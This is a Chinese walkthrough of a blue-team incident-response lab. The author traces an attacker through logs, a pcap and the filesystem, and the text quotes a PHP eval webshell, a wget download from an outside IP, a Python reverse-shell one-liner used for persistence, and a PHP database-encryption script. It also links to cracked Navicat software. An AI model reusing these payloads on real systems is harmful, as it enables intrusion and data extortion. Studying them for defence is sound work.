玄机——第九章-blueteam 的小心思 wp(HVV——“蓝队”应急响应简单模拟例题)

文章目录

一、前言

题目链接:第九章-blueteam 的小心思

三连私信免费送玄机注册邀请码私信!!!看见就回!!注意私信!!

题目就看着多一点都不难,大家放心吧;

题目既然提到了blueteam(蓝队),那我们这里就简单介绍一下红蓝队吧;

简单来说就是蓝队和红队是网络安全领域中的两个关键团队,分别负责保护和模拟攻击,以确保组织的信息系统和网络基础设施的安全。(也就是我们俗称的"护网行动"------HVV)

蓝队(Blue Team)

主要负责:

  1. 监控和检测

    • 实时监控网络流量、系统日志和安全警报,使用安全信息和事件管理系统(SIEM)来检测异常活动。
    • 配置和管理入侵检测系统(IDS)和入侵防御系统(IPS)。
  2. 事件响应

    • 制定和实施事件响应计划,及时应对和处理安全事件。
    • 调查和分析安全事件的来源和影响,采取适当的措施来遏制和解决问题。
  3. 漏洞管理

    • 定期进行漏洞扫描,识别和修复系统中的漏洞。
    • 管理补丁程序的应用,确保系统软件和硬件的安全性。
  4. 风险评估和管理

    • 进行风险评估,识别潜在的安全威胁和风险。
    • 制定和实施风险缓解策略,减少风险的影响。
  5. 安全策略和政策

    • 制定和维护组织的安全策略和政策,确保符合行业标准和法规要求。
    • 监督和执行安全政策的实施,确保员工遵守安全规程。
  6. 取证分析

    • 在发生安全事件后进行取证分析,收集和分析证据,以便进行进一步的调查和法律行动。
    • 保持事件日志和记录,以便进行审计和合规检查。

红队(Red Team)

主要负责:

  1. 渗透测试

    • 进行渗透测试,模拟真实攻击者的行为,测试组织的防御措施。
    • 利用各种工具和技术发现系统、网络和应用程序中的漏洞。
  2. 社会工程学攻击

    • 进行社会工程学攻击,如钓鱼邮件和电话诈骗,测试员工的安全意识和反应。
    • 分析和报告社会工程学攻击的结果,帮助组织改进培训和防御措施。
  3. 模拟攻击

    • 模拟高级持续性威胁(APT)攻击,测试组织在面对复杂和持久攻击时的防御能力。
    • 评估组织的应急响应计划和事件处理能力。
  4. 报告与建议

    • 提供详细的报告,描述发现的漏洞、攻击路径和潜在影响。
    • 提出改进建议,帮助组织加强安全措施,减少风险。
  5. 协作与演练

    • 与蓝队合作,进行对抗演练(Red Team vs. Blue Team),提高整体安全水平。
    • 帮助组织识别和修复安全漏洞,改进防御策略和技术。

总结就是;

红队和蓝队的协作和对抗演练(例如红蓝对抗)可以帮助组织全面评估和提升其安全防御能力。通过这种方式,组织可以更好地理解自己的安全弱点,实施有效的防御策略,并提高应对真实网络威胁的能力。

那说都说了,这里我再啰嗦一下蓝队吧;(主要小组分工)

蓝队主要分工(说是这样说,真正开始的时候可能可能一个人打两份工那也算正常)

  1. 安全监控与检测小组

    • 作用:实时监控网络流量、系统日志和安全事件,使用SIEM工具进行异常活动的检测。
    • 成员职责:配置和管理入侵检测系统(IDS)和入侵防御系统(IPS),分析警报,识别潜在的安全威胁。
  2. 事件响应与取证小组

    • 作用:响应和处理安全事件,进行取证分析,收集和分析证据。
    • 成员职责:制定和实施事件响应计划,调查安全事件的来源和影响,采取措施遏制和解决问题,保留事件日志和记录。
  3. 漏洞管理与补丁管理小组

    • 作用:进行漏洞扫描,识别和修复系统中的漏洞,管理补丁程序的应用。
    • 成员职责:定期进行漏洞评估,确保系统软件和硬件的安全性,应用安全补丁,减少潜在的攻击面。
  4. 风险评估与管理小组

    • 作用:进行风险评估,识别和管理安全风险,制定风险缓解策略。
    • 成员职责:分析潜在的安全威胁,评估风险的影响和可能性,实施风险管理计划,减少风险。
  5. 安全策略与政策小组

    • 作用:制定和维护组织的安全策略和政策,确保符合行业标准和法规要求。
    • 成员职责:监督和执行安全政策的实施,审查和更新安全策略,确保员工遵守安全规程。
  6. 安全教育与培训小组

    • 作用:提供安全意识培训,教育员工关于安全最佳实践和防范措施。
    • 成员职责:设计和实施安全培训计划,进行演练和模拟,提高员工的安全意识和应急响应能力。
  7. 技术支持与工具开发小组

    • 作用:提供技术支持,开发和维护安全工具和系统。
    • 成员职责:配置和维护安全基础设施,开发自定义安全工具,支持其他小组的技术需求。

hvv开启的时间一般是6月-7月,所以可以说,大家4/5月左右有时间就要把自己的简介准备好了;

二、概览

简介

服务器场景操作系统 Linux
服务器账号密码 root qi5qaz

任务环境说明
注:进去后执行 sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
开放题目
漏洞修复

题目;

1、攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
2、攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
3、找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
4、攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。
5、攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。
6、攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
7、攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
8、攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
9、解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
10、因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。

三、参考文章

第九章 - Blueteam 的小心思

玄机应急响应wp

四、步骤(解析)

准备步骤#1.0

老规矩嘛,使用Xshell新建或者SSH连接靶机都可,靶机的环境是Liunx;(方法不唯一,仅供参考)

新建连接,输入靶机IP,连接即可;(这里如一直连不上,看看自己是不是校园网(内网),是的话建议换手机热点/或者其它,因为它会对出口流量进行限制,接着再尝试进行连接)

成功连接,不过这里注意,进去之后需立马执行;

命令;

复制代码
sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart

为什么进去之后就需立马执行这个命令嘞?

简单来说就是,这条命令的作用是修改 Apache Web 服务器的端口配置,并重新启动 Apache 服务。

具体一点来说;

  • 修改 Apache 服务器的配置文件,将监听端口从 80 改为 9999
  • 重新启动 Apache 服务,使新的配置生效。

靶机可以通过这种方式,可以改变 Apache Web 服务器的默认监听端口,常用于避免端口冲突或者提升服务器的安全性(通过使用非标准端口)。

步骤#1.1
攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。

解题思路

题目让我们提交黑客成功登录网站后台的密码并进行MD5加密,那我们就可以先查查日志,看看黑客登录的时候有没有留下什么痕迹;

具体一点来说就是;

Web 服务器日志 : 检查 Web 服务器的访问日志(如 Apache 的 access.log 或 Nginx 的 access.log)。这些日志文件中可能记录了登录请求以及相应的参数。

使用命令;

复制代码
cat /var/log/apache2/access.log | grep "POST /login"

得到;

简单分析一下;

  1. 源 IP 地址 : 所有请求的源 IP 地址为 192.168.16.43,这表明所有这些请求都来自同一台设备。

  2. 时间戳: 请求的时间戳逐渐递增,表明这些请求是在几秒钟内完成的。

    • 首次请求:18/Nov/2023:23:20:08
    • 成功请求:18/Nov/2023:23:20:21
  3. 状态码

    • 前四次请求返回状态码 200,这表示请求成功并返回了页面。
    • 最后一次请求返回状态码 302,这表示请求成功后进行了重定向。这通常意味着成功登录并重定向到用户主页或管理页面。

结论

  • 黑客 IP 地址192.168.16.43
  • 登录尝试 :黑客在 23:20:0823:20:21 之间多次尝试登录,直到 23:20:21 的最后一次登录成功。
  • 成功登录 :最后一次 POST /login.php 请求返回状态码 302,表明登录成功并进行了重定向。

所以总的来说,日志里面暂时没有发现黑客登陆网站的账号以及密码,那没办法了,我们只能换一种方法;

检查数据库;

用户表: 检查数据库中存储用户信息的表。(一些数据库中会包含有管理员的账号以及我们需要的密码)

那我们既然需要进入到数据库查询,那肯定就是需要先找到数据库登录的账号密码对吧?

数据库登录的账号和密码通常存储在配置文件如 config.inc.php 中;

因为配置文件 config.inc.php 是专门用于存放应用程序的配置参数,包括数据库连接信息。

那这里我们使用"find"命令定位一下配置文件"config.inc.php"即可;

命令;

复制代码
 find / -name config.inc.php

得到;

跟进分析,查看数据库登录账号密码;

命令;

复制代码
cat var/www/html/include/config.inc.php

得到;

我们可以得到;

  • 数据库类型pdo:mysql
  • 数据库服务器localhost
  • 数据库用户名root
  • 数据库密码mysql123
  • 数据库名称mirage

登录数据库;

命令;

复制代码
mysql -uroot -pmysql123

登录成功;

上面我们已经知道了是什么数据库;(mirage)

切换数据库;

复制代码
use mirage;

得到;

那接着就是库里查查里面有什么表了;

复制代码
show tables;

得到;

很明显看见了个users,里面就是数据库用户的账号密码信息;

所以我们使用命令;

复制代码
select * from cpg16x_users;

得到;

但是发现里面并没有账号密码,那也没关系,总会有没查出的时候,那我们找找有没有什么其它关键的地方;

那就看看有没有流量,既然这条路给我们封死了,肯定会给我们别的路;

那就定位一=下看看有没有流量包呗;

命令;

复制代码
find / -name "*.pcap"

得到;

哎,在根目录下还真有,那我们就导出使用Wireshark分析呗;

这里为了便捷,我直接使用了之前使用过工具的"Finalshell"导出;

Finalshell官方下载

老规矩,打开主页,新建SHH连接(Liunx),接着输入靶机的IP,最后输入账号密码返回主页连接即可;

新建SSH连接;

输入靶机的IP以及账号密码;

跟目录下发现流量包,选中右键"下载"即可;

注意下载路径;(以防自己下载了找不到)

下载成功丢进Wireshark分析;

题目既然说黑客登录网站后台的密码,说了登录,所以我们就可以直接查http的关键"login.php";

命令;

复制代码
http contains "login.php"

得到;

一共就那么几个usename、password,就算不知道具体是哪一个,我们一个一个尝试MD5加密提交都行;

所以最后尝试出来的密码就是;(随便找一个在线的MD5进行加密)

复制代码
Aa12345^

在线MD5加密

至此;

复制代码
flag{D63EDB0E9DF4CF411398E3658C0237E0}
步骤#1.2
攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。

解题思路

题目问我们黑客在哪个PHP页面中成功上传了后门文件,提交提交PHP页面并且进行MD5解密,题一我们已经到导出了流量包,那我们可以查找一下"boundary";

那这里可能有的师傅就有疑问了,为什么要查找一下"boundary",这跟上传有什么关系嘛?

简单来说,在 Wireshark 中分析文件上传时,查找 boundary 是一个关键步骤。boundary 一般常用在 multipart/form-data POST 请求中分隔不同的部分(part),例如文件和其他数据。

同时也具备;

  • 识别上传内容的边界: 当文件通过 multipart/form-data 上传时,每个部分用 boundary 分隔。通过识别 boundary,可以分离出文件内容和其他表单数据。

  • 解析上传的文件数据: boundary 提供了上传内容的分隔符,使得可以准确提取文件数据和元数据(如文件名、类型等)。

那这里我们就可以直接筛选一下"boundary";

使用命令;

复制代码
http contains "boundary"

得到;

发现只有一条,跟进分析,"右键追踪HTTP流";

得到;

简单分析一下;

复制代码
PK..
......<rW..'.............cpg.phpUT    ..8jXetjXeux....!....!...<?php @eval($_POST["m3"]);?>

这段内容显示了一个ZIP文件的开始,包含一个PHP文件cpg.php

复制代码
<?php @eval($_POST["m3"]);?>

这是一个典型的PHP Web shell代码。eval函数会执行传入的任何PHP代码,因此黑客可以通过向该文件发送POST请求来执行任意代码。(俗称一句话木马)

题目问我们黑客上传木马文件的"页面",例如upload.php页面,所以;

上传的页面:pluginmgr.php

在线MD5加密

至此;

复制代码
flag{B05C0BE368FFA72E6CB2DF7E1E1B27BE}
步骤#1.3
找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。

解题思路

题目让我们提交黑客上传webshell文件的MD5,老熟题了,找webshell嘛,手工排查找也可以,工具排查也可以,看自己喜欢,不过这里为了更便捷,肯定是使用工具进行排查,我们直接把网站的源码导出,接着丢进我们的"D盾"等待扫描结果即可;

那这里手工排查之前的文章也多有强调,那这里就不再多叙了,详细请看:应急响应-webshell查杀
那这里我们先导出源码(var/www/html),我使用的还是"Finalshell"导出;

找到源码"var/www/html";

右键选中,下载即可;(注意下载完成之后,是和题一"wireshark.pcap"一个目录)

导出完成,开始使用"D盾"扫描;(这里注意如导出找不到cpg.php,就说明被你电脑自动杀掉了)

是不是很眼熟?对的,没错就是我们上题所在的"Wireshark"中找到的一句话木马"cpg.php",那我们跟进右键"记事本"打开看看是不是我们上题在pcap里面看见的;

石锤了;(这里就不再分析这个一句话木马了,相信很多师傅肯定都知道了)

题目让我们提交文件的MD5,那这里推荐的就是两种方法,第一种直接在靶机里(Liunx)中直接

使用命令;(注意需在"同一目录下"执行)

复制代码
md5sum cpg.php

得到;

这里因为已经导出源码了嘛(var;/www/html/),那当然木马肯定也在其中,所以直接在windows中直接;

使用命令;

复制代码
certutil -hashfile cpg.php MD5

得到;

至此;

复制代码
flag{a097b773ced57bb7d51c6719fe8fe5f5}

文件进行MD5加密方法不唯一,仅供参考;

步骤#1.4
攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。

解题思路

题目问我们黑客下载的列一个可执行后面程序是什么并且进行MD5加密,那这里我们可以有两个方法来进行查找,第一种,上题已查出了一个webshell"cpg.php",那我们就完全可以根据黑客上传的第一个webshell的时间来筛选前后下载的文件,因为来猜测黑客上传的时间肯定不会间隔太久,所以我们只需要查到第一次上传webshell的时间即可;

第二种,我们不是导出一个"wireshark.pcap"嘛,仔细分析一下也是可以发现黑客下载的可执行后门程序,毕竟我们之前就在里面查出过文件"cpg.php",所以同样的道理我们也是可以从里面发现;

那这里两种方法都给大家进行演示一下;

第一种:Liunx

我们先找到文件"cpg.php"上传的前后时间;

命令;(注意,同一目录下)

复制代码
stat cpg.php

得到;

简单分析一下;

时间戳

  • 访问时间 (Access):2024-07-15 08:54:44.408000000 +0000

    • 文件最近一次被读取的时间。
  • 修改时间 (Modify):2023-11-18 07:39:36.000000000 +0000

    • 文件内容最近一次被修改的时间。
  • 更改时间 (Change):2023-11-18 23:21:04.444013552 +0000

    • 文件属性或内容最近一次被更改的时间。

文件权限和所有者

  • 权限0644-rw-r--r--

    • 文件所有者有读写权限 (rw-)
    • 文件所属组有只读权限 (r--)
    • 其他用户有只读权限 (r--)
  • 所有者 (Uid)33(用户 www-data

  • 所属组 (Gid)33(组 www-data

现已确定文件修改时间(2023-11-18 07:39:36),及文件所有者(www-data);

那我们就可以使用命令,简单查一下,前后两天用户"www-data"干了什么;

复制代码
find / -newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null | grep www-data

命令分析;

简单来说这条命令用于查找在特定时间范围内由特定用户(www-data)修改或创建的文件。

具体分析;

  • -newerct '2023-11-18 07:30:00'

    • 查找在2023年11月18日07:30:00之后创建或修改的文件。
  • ! -newerct '2023-11-19 07:30:00'

    • 查找在2023年11月19日07:30:00之前创建或修改的文件。
  • ! -path '/proc/' ! -path '/sys/' ! -path '/run/*'

    • 排除路径为/proc/sys/run的文件。这些目录包含系统和内核相关的虚拟文件系统,不需要搜索。
  • -type f

    • 仅查找普通文件(不包括目录、链接等)。
  • -exec ls -lctr --full-time {} +

    • 对找到的每个文件执行ls -lctr --full-time命令,显示文件的详细信息:
      • -l:使用长格式列出文件。
      • -c:根据文件的状态更改时间排序。
      • -t:根据时间排序。
      • -r:逆序排列。
      • --full-time:使用完整的时间戳格式显示。
  • 2>/dev/null

    • 将错误输出重定向到/dev/null,即忽略错误信息。
  • | grep www-data

    • 过滤出包含www-data的行。这将显示所有由www-data用户拥有或修改的文件。

得到;

复制代码
-rw-r--r--  1 www-data         www-data              446 2023-11-18 23:20:18.031017308 +0000 /var/www/html/logs/security.log.php
-rw-r--r--  1 www-data         www-data               29 2023-11-18 23:21:04.444013552 +0000 /var/www/html/plugins/cpg.php
-rwxrwxrwx  1 www-data         www-data              250 2023-11-18 23:26:21.793649688 +0000 /var/www/html/plugins/.       /is.world

可以看见文件"/is.world",尝试进行MD5加密提交一下(注意题目让我们提交的是完整路径)

路径:/var/www/html/plugins/. /is.world

命令;

复制代码
md5sum "/var/www/html/plugins/.       /is.world" 

得到;(尝试提交发现正确)

至此;

复制代码
flag{ee279c39bf3dcb225093bdbafeb9a439}

第二种:Wireshark

简单筛选一下http,按照一下大小排序,在大小为"1037"的包中发现关键;

跟进分析,追踪流HTTP;

简单分析一下;

URL在线解码得到;

复制代码
m3=system("wget http://124.221.70.199:8889/is.world");

使用了PHP的 system 函数,执行了一个下载命令。

  • system :PHP中的 system 函数会执行一个外部程序,并输出结果。

  • wget:这是一个用于从网络下载文件的命令行工具。命令中的参数指定了下载文件的URL。

  • http://124.221.70.199:8889/is.world :这是文件下载的目标URL,包含了一个IP地址 124.221.70.199 和端口 8889。目标文件名是 is.world

题目问的什么?问的不就是黑客下载的程序嘛,所以就有理由进行怀疑,直接find定位一些文件位置即可;

命令;

复制代码
 find / -name is.world

得到;

后面的步骤就不进行演示,跟Liunx后面一样跟进过去,到文件"is.world"目录下进行MD5加密即可;

这里暂且举两个例子,仅供参考,方法不唯一;

步骤#1.5
攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。

解题思路

题目让我们找到新镇的后面用户名称并且进行MD5加密提交,那都说了新增加用户,那我们肯定是检查用户配置文件,在Liunx中,/etc/passwd 文件,包含了所有用户的信息,包括用户名和用户ID等。

所以使用命令;

复制代码
cat /etc/passwd

得到;

简单分析一下;

其实一眼望过去,最不正常的就是最底下那个"knowledgegraphd";

因为从 /etc/passwd 文件来看,这个用户看起来异常,因为它的 UID 和 GID 都是 0,与 root 用户相同,这意味着它具有 root 权限。

用户权限分析:

  • root:x:0:0:root:/root:/bin/bash
    • 这是系统管理员账户,UID 和 GID 都是 0。
  • knowledgegraphd:x:0:0::/home/knowledgegraphd:/bin/bash
    • 这个账户的 UID 和 GID 也都是 0,意味着它具有与 root 用户相同的权限。这是一个明显的安全风险,通常用户不会被分配 UID 和 GID 为 0,除非是系统管理员。

用户的主目录和 shell:

  • /home/knowledgegraphd 是这个用户的主目录。
  • /bin/bash 是这个用户的默认 shell,允许用户执行命令,这进一步表明这是一个高权限用户。

总结;

以上分析,knowledgegraphd 用户就是是黑客创建的后门用户,因为它具有 root 权限,这在正常情况下是极不寻常的。此外,这个用户没有描述信息(通常用户会有一个描述字段,比如系统服务用户有描述它们用途的信息)。

题目让我们进行MD5加密在提交;

所以使用命令;

复制代码
md5sum knowledgegraphd

哎,发现报错了,为什么呢?

因为这是字符串,字符串进行MD5加密和文件肯定不一样,因为靶机是"Ubuntu"的;

所以;

复制代码
 echo -n "knowledgegraphd" | md5sum

得到;

至此;

复制代码
flag{4cda3461543c9a770a3349760594facd}
步骤#1.6
攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

解题思路

题目让我们提交黑客创建的一个持久化的配置项的MD5,黑客在 Linux 系统上创建持久化配置项,以在任意用户登录时触发后门连接,通常会利用以下文件;

shell配置文件;

黑客可以修改用户的 Shel 配置文件,这些文件在用户登录时被执行。常见的文件包括:

1、"~/.bashrc":用于 Bash Shell,会在每次打开新的终端或登录 Shell 时执行。

2、"/.bash_profile"或"/.profile":这些文件在用户登录时执行。

3、"~/.zshrc":用于Zsh Shell,与"~/.bashrc"类似。

4、"/etc/profile":为所有用户提供的系统级别的配置文件,

5、"/etc/bash.bashrc":为所有用户提供的系统级别的配置文件,Bash Shell 专用。

一个一个跟进分析,查看有没有什么可疑的地方,最后也是在"/etc/profile"中发现关键;

命令;

复制代码
cat /etc/profile

得到;

简单分析一下;

简单来说就是 /etc/profile 文件的内容,这是一个系统范围的配置文件,用于设置 Bourne shell(如 sh、bash、ksh 等)的全局环境变量和配置。

  1. 首先,这段代码检查是否存在交互式 shell 的环境变量 ${PS1-}。如果存在,它会进一步检查是否在 Bash 环境下,并且 Bash 的路径不是 /bin/sh
  2. 如果是 Bash,并且存在 /etc/bash.bashrc 文件,则会载入该文件的配置。
  3. 如果当前用户是 root 用户(通过 id -u 命令检查),则设置提示符 PS1#,表示超级用户权限。否则设置为 $,表示普通用户权限。
  4. 接下来就是黑客插入的后门程序:/var/www/html/plugins/". "/is.world &,它是一个恶意添加的行,试图运行一个不明的命令或程序。
  5. 最后,如果 /etc/profile.d 目录存在,则会加载该目录下所有可读的 .sh 结尾的脚本文件,以扩展 shell 的配置。

题目让我们提交可疑配置文件的完整的路径小写md5值;

路径:/etc/profile

使用命令;(强调很多次了,这里就不再多强调了)

复制代码
md5sum /etc/profile

得到;

至此;

复制代码
flag{65bf3e4a9ac90d75ec28be0317775618}

还有一种做法,就是一般这种配置在/etc,猜测是执行可执行文件,所以我们直接在"/etc"这个进行查找我们之前已知的可执行程序"is.world";

我们使用命令;

复制代码
grep -Er "is.world" /etc

得到;

简单分析一下这个命令,为什么是"-Er";

  • -E: 表示启用扩展的正则表达式(Extended Regular Expression)模式。这使得 grep 可以识别更多的正则表达式语法。
  • -r: 表示递归地在指定目录及其子目录中搜索。

综合起来就是,grep -Er "is.world" /etc 的作用是在 /etc 目录及其所有子目录中,使用扩展的正则表达式模式搜索包含字符串 "is.world" 的所有文件和行。

那有人就要问了,不加"-Er"行不行?

如下图;

只加一个"-r"也可以识别出来;(不过还是推荐大家规范执行命令,养成习惯更好)

步骤#1.7
攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

解题思路

跟上题差不多,只不过这里是只有root用户登录才会触发后门连接,那这里我们需要确定黑客可利用的文件或者位置,那这里我们就可以猜测了,如果黑客希望在只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录;

1、"/root/.bashrc":在root用户登录Bash Shell时执行;

2、"/root/.bash_profile":在root用户登录时执行。

3、"/root/.profile":在root用户登录时执行。

4、"/etc/profile":所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)

5、"/etc/rc.local":系统启动时执行,可以包含条件逻辑;

还是跟上题一样老操作,一个一个分析过去即可,最后也是在"/root/.bashrc"中发现关键;

使用命令;

复制代码
cat /root/.bashrc

得到;

简单分析一下;

复制代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &

简单来说这就是Python 一个经典的反弹 shell 脚本,常被用作创建后门的手段。

  • 导入模块

    • import socket, subprocess, os;: 导入 socketsubprocessos 模块。这些模块分别用于网络通信、执行子进程和进行操作系统级别的操作。
  • 创建套接字

    • s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);: 创建一个 IPv4(AF_INET)流式套接字(SOCK_STREAM),用于 TCP 连接。
  • 连接到远程服务器

    • s.connect(("124.221.70.199", 9919));: 连接到指定的 IP 地址 124.221.70.199 和端口 9919。这通常是黑客控制的服务器。
  • 重定向标准输入、输出和错误

    • os.dup2(s.fileno(), 0);: 将标准输入(文件描述符 0)重定向到套接字 s
    • os.dup2(s.fileno(), 1);: 将标准输出(文件描述符 1)重定向到套接字 s
    • os.dup2(s.fileno(), 2);: 将标准错误(文件描述符 2)重定向到套接字 s

    通过这些操作,任何通过 shell 进行的输入、输出和错误信息都会通过套接字 s 传递到黑客的服务器。

  • 启动交互式 shell

    • p=subprocess.call(["/bin/sh", "-i"]);: 启动一个交互式 shell(/bin/sh),并将其连接到之前的套接字。这样,黑客就可以通过网络远程控制该系统。
  • 后台运行

    • &: 将整个命令放入后台执行,这样它不会阻塞当前的终端会话。

总的来说,它允许黑客在受感染的系统上创建一个反弹 shell,使得黑客可以通过网络远程控制受感染的计算机。黑客可以执行任意命令、访问敏感数据、安装其他恶意软件等。

题目让我们提交配置文件完全路径的小写MD5值;

所以;

复制代码
md5sum /root/.bashrc

得到;

至此;

复制代码
flag{4acc9c465eeeb139c194893ec0a8bcbc}
步骤#1.8
攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。

解题思路

题目让我们提交黑客加密的数据库名并且进行MD5加密,那既然这里又提到了数据库,这里就给大家推荐一个便捷连接数据库的工具"Navicat Premium",这个工具简单来说就是有图形化的界面便于大家更好的去分析;

但是在网上这个工具是需要收费的,而且这个工具在后面可能会常用到,那我们这边就直接找了一个破解版的供大家使用;

123云盘下载;

Navicat Premium 16 安装包下载
https://www.123pan.com/s/q2J1jv-7Lavd.html
提取码:0905

123云盘下载;

Navicat Premium 16 破解工具下载
https://www.123pan.com/s/q2J1jv-bLavd.html
提取码:0905

Navicat Premium 16 安装并破解激活图文教程(跟着教程来几分钟就搞定了)

那话不多说,我们接着进入主题,那这里早在之前题一的时候,我们就已得知了mysql数据的账号以及密码,只不过我们直连的数据库并不是使用工具来进行分析,那这里我们就尝试使用工具来进行分析;

首先还是老规矩,数据库的登录信息(账号密码),一般都会储存在配置文件"config.inc.php"中,那我们这里还是直接定位配置文件位置过去查看即可;

命令;

复制代码
find / -name config.inc.php

得到;

复制代码
/var/www/html/include/config.inc.php

跟进分析;

复制代码
cat /var/www/html/include/config.inc.php

数据库账号密码:root/mysql123

这里我就在Liunx中直接连了,我使用了工具"Navicat Premium 16"连接数据库,

激活完毕,登进主页,选择连接"mysql";

那想连到数据库肯定是先连接到靶机对吧?因为数据库是存在于靶机之上的,所以这里,我们选上方的"SSH"-->"勾选上使用SSH隧道"即可;

主机:靶机的IP,用户名:root,验证方法选择:密码,最后密码:qi5qaz(就是靶机的密码),注意!!先别着急点"确定",因为这时候是还没有连上的,我们先点击下方的"测试连接"看看有没有连上靶机;

会报这个错,为什么呢?因为现在我们只是连接上了吧唧并没有连接数据库,我们最终的目的就是连接到数据库,所以不要慌这时候,先点击确定;

这时候,再返回"常规",连接名就随便填,其它不需要改动,填上我们mysql数据库的账号密码即可;

最后返回主页,点击刚刚新建的数据库即可成功连接;(那这里有的师傅可能就会问了,一道题目至于这么详细嘛?现实中数据库图形化界面有时候就是比直接敲命令更好理解一点,我这里详细一些就是因为很多时候我也是过来人,第一次接触这个东西确实有很多不明白的地方,详细一些便于对新的知识更好了解)

那咋办,那就查呗,一个一个点击进去查(表也就那么多),看看那张表点不开或者报错的,那就是有毛病呗,就是题目要求的有锁呗;

最后也是在"JPMorgan Chase"数据库中发现它打不开(啥都打不开);

报错,怀疑可能有加密;(符合题目要求,尝试进行MD5加密提交)

那我们返回Liunx,尝试使用find定位一下"JPMorgan@0020Chase"

命令;

复制代码
find / -name JPMorgan@0020Chase

得到;

那我们跟进到这个目录下,直接j进行MD5解密即可;(这里因为JPMorgan@0020Chase也不是一个文件,所以我们还是得使用echo来进行MD5加密,跟我们之前MD5加密用户一下)

命令;

复制代码
echo -n "JPMorgan@0020Chase" | md5sum

得到;

尝试提交,正确;

至此;

复制代码
flag{0928a5424aa6126e5923980ca103560e}
步骤#1.9
解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。

解题思路

题目让我们解密数据库,提交Harper用户对应的Areer的值并且进行MD5加密,那这里黑客肯定是对表"Balance"进行了什么操作才导致进不去,那我们就尝试查找一下黑客比文件"cpg.php"新,又比闻文件"Balance.frm"旧的所有文件;

使用命令;

复制代码
find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm

简单分析;

  • /: 从根目录开始查找。
  • -type f: 只查找文件(不包括目录、链接等)。
  • -newer /var/www/html/plugins/cpg.php: 找出比这个文件新的文件。
  • ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm: 找出比这个文件旧的文件。

得到;

找到了;(php后缀结尾就那么几个文件,其它的都排除完了,那可不就剩它了嘛)

复制代码
/var/lib/mysql/clockup.php

跟进分析一下;

复制代码
cat /var/lib/mysql/clockup.php

得到;

简单分析一下;

简单来说就是这个PHP脚本的作用是对指定目录下的所有文件进行加密,指定目录那可不就是"/var/lib/mysql/JPMorgan@0020Chase",那咋办嘞,直接写一个反推的脚本;(这里我丢给gpt写的)

  1. 获取当前日期并生成MD5哈希

    复制代码
     $currentDate = date("Y-m-d");
     $key = md5($currentDate);
  • $currentDate:获取当前日期,格式为 "YYYY-MM-DD"。
  • $key:使用 md5 函数将当前日期转换为一个128位的哈希值,这个值将作为加密的密钥。
  1. 生成初始化向量(IV)

    复制代码
     $iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);

$iv:使用 hash 函数将字符串 "DeepMountainsGD" 转换为一个256位的哈希值,然后取其前16字节作为初始化向量(IV)。IV用于确保相同的明文在加密时生成不同的密文,从而增强安全性。

  1. 指定文件路径并读取目录内容

    复制代码
     $filePath = "/var/lib/mysql/JPMorgan@0020Chase";
     $files = scandir($filePath);
  • $filePath:指定目标文件路径,这里是 /var/lib/mysql/JPMorgan@0020Chase
  • $files:使用 scandir 函数读取指定目录的内容,并返回一个包含目录中所有文件和子目录的数组。
  1. 遍历文件并进行加密

    复制代码
     foreach ($files as $file) {
         if ($file != "." && $file != "..") {
             $fullPath = $filePath . '/' . $file;
             $content = file_get_contents($fullPath);
             $encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv);
             file_put_contents($fullPath, $encryptedContent);
         }
     }
  • foreach ($files as $file):遍历目录中所有文件和子目录。
  • if ($file != "." && $file != ".."):跳过当前目录 . 和父目录 ..
  • $fullPath = $filePath . '/' . $file:构建完整的文件路径。
  • $content = file_get_contents($fullPath):读取文件内容。
  • $encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv):使用 openssl_encrypt 函数对文件内容进行加密,采用 aes-256-cbc 加密算法,使用生成的密钥和IV。
